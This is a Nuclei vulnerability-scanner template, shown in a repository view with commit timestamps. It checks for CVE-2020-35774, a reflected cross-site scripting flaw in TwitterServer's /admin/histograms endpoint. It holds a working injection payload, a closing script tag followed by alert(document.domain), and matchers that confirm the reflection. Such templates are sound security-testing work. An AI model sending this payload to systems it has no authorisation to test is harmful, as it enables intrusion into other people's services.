nuclei-templates/cves/2020/CVE-2020-35774.yaml

37 lines
996 B
YAML
Raw Normal View History

2021-07-27 03:31:48 +00:00
id: CVE-2020-35774
info:
name: Twitter Server XSS
author: pikpikcu
severity: medium
description: |
server/handler/HistogramQueryHandler.scala in Twitter TwitterServer (aka twitter-server) before 20.12.0, in some configurations, allows XSS via the /histograms endpoint.
reference: https://nvd.nist.gov/vuln/detail/CVE-2020-35774
tags: cve,cve2020,xss,twitter-server
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.10
cve-id: CVE-2020-35774
cwe-id: CWE-79
2021-07-27 03:31:48 +00:00
requests:
- method: GET
path:
2021-07-27 05:08:46 +00:00
- "{{BaseURL}}/admin/histograms?h=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&fmt=plot_cdf&log_scale=true"
2021-07-27 03:31:48 +00:00
matchers-condition: and
matchers:
- type: word
words:
2021-07-27 05:08:46 +00:00
- '</script><script>alert(document.domain)</script>'
2021-07-27 03:31:48 +00:00
part: body
- type: status
status:
- 200
2021-07-27 05:10:55 +00:00
- type: word
part: header
words:
- text/html